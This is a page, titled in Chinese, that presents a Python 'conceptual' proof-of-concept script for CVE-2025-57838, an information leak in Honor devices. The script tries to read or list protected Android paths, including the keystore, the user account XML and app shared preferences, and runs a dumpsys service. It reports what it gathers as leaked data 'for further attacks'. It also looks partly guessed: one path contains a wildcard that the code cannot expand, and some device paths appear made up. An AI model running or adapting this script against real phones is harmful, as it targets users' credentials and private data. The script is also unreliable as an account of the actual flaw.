CVE-2025-57838 Honor产品信息泄露漏洞

# CVE-2025-57838 Honor Products Information Leak PoC (Conceptual) # This is a conceptual proof-of-concept demonstrating the information leak vulnerability # in certain Honor products. The vulnerability is local (AV:L) and requires no # authentication or user interaction. import subprocess import os import sys def exploit_info_leak(): """ Conceptual PoC for CVE-2025-57838. Exploits the information disclosure vulnerability by accessing sensitive system resources that lack proper access control. """ print("[*] CVE-2025-57838 - Honor Products Information Leak PoC") print("[*] Attempting to access protected system resources...\n") # Step 1: Check if we have local access to the device # The vulnerability requires local access (AV:L) sensitive_paths = [ "/data/system/users/0.xml", "/data/misc/keystore/user_0/", "/data/data/com.hihonor.*/shared_prefs/", "/data/local/tmp/", "/sys/class/honor_sensor/", "/proc/honor_debug_info" ] leaked_data = {} for path in sensitive_paths: try: # Step 2: Attempt to read sensitive files/directories # Due to improper permission checks, these may be accessible if os.path.exists(path): if os.path.isfile(path): with open(path, 'r', errors='ignore') as f: content = f.read(1024) leaked_data[path] = content print(f"[+] Leaked data from {path}:") print(f" {content[:200]}...") elif os.path.isdir(path): files = os.listdir(path) leaked_data[path] = files print(f"[+] Directory listing of {path}:") print(f" {files}") else: print(f"[-] Path not found: {path}") except PermissionError: print(f"[-] Permission denied: {path}") except Exception as e: print(f"[-] Error accessing {path}: {e}") # Step 3: Try to invoke system services that may leak information try: result = subprocess.run( ["dumpsys", "hivos"], capture_output=True, text=True, timeout=5 ) if result.stdout: print(f"\n[+] Dumpsys output (potential info leak):") print(f" {result.stdout[:500]}") leaked_data["dumpsys_hivos"] = result.stdout except Exception as e: print(f"[-] dumpsys failed: {e}") if leaked_data: print(f"\n[!] Successfully leaked {len(leaked_data)} items of sensitive data") print("[!] This information could be used for further attacks") else: print("\n[-] No data leaked - device may be patched") return leaked_data if __name__ == "__main__": exploit_info_leak()